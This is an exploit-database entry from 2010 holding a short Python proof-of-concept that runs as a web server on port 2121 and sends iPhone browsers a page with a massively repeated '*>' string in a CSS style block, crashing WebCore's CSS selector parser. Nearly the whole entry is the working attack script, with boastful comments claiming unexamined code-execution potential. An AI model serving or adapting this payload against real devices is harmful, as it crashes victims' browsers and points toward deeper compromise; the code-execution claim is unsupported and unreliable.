iPhone – ‘WebCore::CSSSelector()’ Remote Crash

  • 作者: t12
    日期: 2010-02-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11574/
  • #!/usr/bin/python
    # ,
    #dM
    #MMr
    # 4MMML.
    # MMMMM.xf
    # ."M6MMM .MM-
    #Mh..+MM5MMM.MMMM
    #.MMM. .MMMMML.MMMMMh
    # )MMMh.MM5MMM MMMMMMM
    #3MMMMx. 'MMM3MMfxnMMMMMM"
    #'*MMMMMMMMMMM. nMMMMMMP"
    #*MMMMMx"MMM5M\.MMMMMMM=
    # *MMMMMh "MMMMM" JMMMMMMP
    # MMMMMM GMMMM.dMMMMMM.
    #MMMMMM"MMMM.MMMMM(.nnMP"
    # ..*MMMMxMMM"dMMMM".nnMMMMM*
    #"MMn... 'MMMMr 'MM MMM" .nMMMMMMM*"
    # "4MMMMnn.. *MMMMMMMP".dMMMMMMM""
    # ^MMMMMMMMx.*ML "M .M*.MMMMMM**"
    #*PMMMMMMhn. *x > M.MMMM**""
    # ""**MMMMhx/.h/ .=*"
    #.3P"%....
    # [t12]nP" "*MMnx 
    
    #		SMOKE WEED
    #greetz to my blackhatz and baycatz
    #iPhone CSS::Selector crash
    #this Python script acts as a web server and sends a malformed long string to the CSS <style> tag
    #this is a remote crash bug, hoever an analysis of the debug dump shows remote code execution capability, I am just lazy
    
    import sys, socket;
    
    def main():
    	junk = "*>" * 120000;
    	
    	html = """
    		<html>
    		<head>
    		<style type="text/css">
    		""";
    
    	html += junk;
    
    	html += """
    		body {background: blue;}
    		</style>
    		</head>
    		</html>
    		""";
    
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    	s.bind(('',2121));
    	s.listen(1);
    	
    	while True:
    		channel, details = s.accept();
    		print channel.recv(1024);
    		channel.send(html);
    		channel.close();
    
    main();